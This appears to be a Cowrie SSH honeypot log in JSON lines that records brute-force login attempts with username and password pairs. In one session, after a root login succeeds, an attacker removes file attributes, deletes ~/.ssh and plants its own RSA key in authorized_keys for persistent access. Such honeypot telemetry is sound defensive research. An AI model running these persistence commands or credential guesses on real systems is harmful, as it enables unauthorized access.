{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:38.210149Z","src_ip":"128.201.200.162","session":"9c05428d7edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student2","password":"password","message":"login attempt [student2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:38.686424Z","src_ip":"128.201.200.162","session":"9c05428d7edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:39.800357Z","src_ip":"128.201.200.162","session":"9c05428d7edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":33860,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d47eda800ba","protocol":"ssh","message":"New connection: 13.71.92.229:33860 (10.17.0.5:22) [session: 5d47eda800ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:59.883175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:59.887681Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:00.101737Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"a123456789!","message":"login attempt [root/a123456789!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:00.970506Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:01.448554Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:01.452622Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:01.456913Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:01.675301Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.141887Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.147575Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.366367Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.370618Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":34740,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d98b84475fa","protocol":"ssh","message":"New connection: 13.71.92.229:34740 (10.17.0.5:22) [session: 2d98b84475fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.574934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.668298Z","src_ip":"13.71.92.229","session":"2d98b84475fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:02.939286Z","src_ip":"13.71.92.229","session":"2d98b84475fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:03.763759Z","src_ip":"13.71.92.229","session":"2d98b84475fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:04.981031Z","src_ip":"13.71.92.229","session":"2d98b84475fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":35078,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cd9e822f9ee","protocol":"ssh","message":"New connection: 13.71.92.229:35078 (10.17.0.5:22) [session: 8cd9e822f9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:05.189752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:05.194814Z","src_ip":"13.71.92.229","session":"8cd9e822f9ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:05.419776Z","src_ip":"13.71.92.229","session":"8cd9e822f9ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:06.311095Z","src_ip":"13.71.92.229","session":"8cd9e822f9ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:06.558469Z","src_ip":"13.71.92.229","session":"5d47eda800ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:06.563447Z","src_ip":"13.71.92.229","session":"8cd9e822f9ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39462,"dst_ip":"159.203.135.109","dst_port":22,"session":"860d260e67fd","protocol":"ssh","message":"New connection: 2.57.122.210:39462 (159.203.135.109:22) [session: 860d260e67fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:38.453290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:38.477403Z","src_ip":"2.57.122.210","session":"860d260e67fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:38.559091Z","src_ip":"2.57.122.210","session":"860d260e67fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:38.967663Z","src_ip":"2.57.122.210","session":"860d260e67fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:40.077384Z","src_ip":"2.57.122.210","session":"860d260e67fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48063,"dst_ip":"10.17.0.5","dst_port":22,"session":"8585e96a9e8e","protocol":"ssh","message":"New connection: 2.57.121.25:48063 (10.17.0.5:22) [session: 8585e96a9e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:45.912302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:45.916572Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:46.020025Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09101982","message":"login attempt [user/09101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:46.506368Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09091979","message":"login attempt [user/09091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:47.612622Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09081989","message":"login attempt [user/09081989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:48.719197Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09061984","message":"login attempt [user/09061984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:49.824839Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09051978","message":"login attempt [user/09051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:50.930184Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:01:52.036066Z","src_ip":"2.57.121.25","session":"8585e96a9e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36896,"dst_ip":"10.17.0.5","dst_port":22,"session":"651c4b3bb563","protocol":"ssh","message":"New connection: 2.57.122.208:36896 (10.17.0.5:22) [session: 651c4b3bb563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:02:43.068401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:02:43.173897Z","src_ip":"2.57.122.208","session":"651c4b3bb563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:02:43.177254Z","src_ip":"2.57.122.208","session":"651c4b3bb563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:02:43.909293Z","src_ip":"2.57.122.208","session":"651c4b3bb563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:02:45.174026Z","src_ip":"2.57.122.208","session":"651c4b3bb563","protocol":"ssh"}
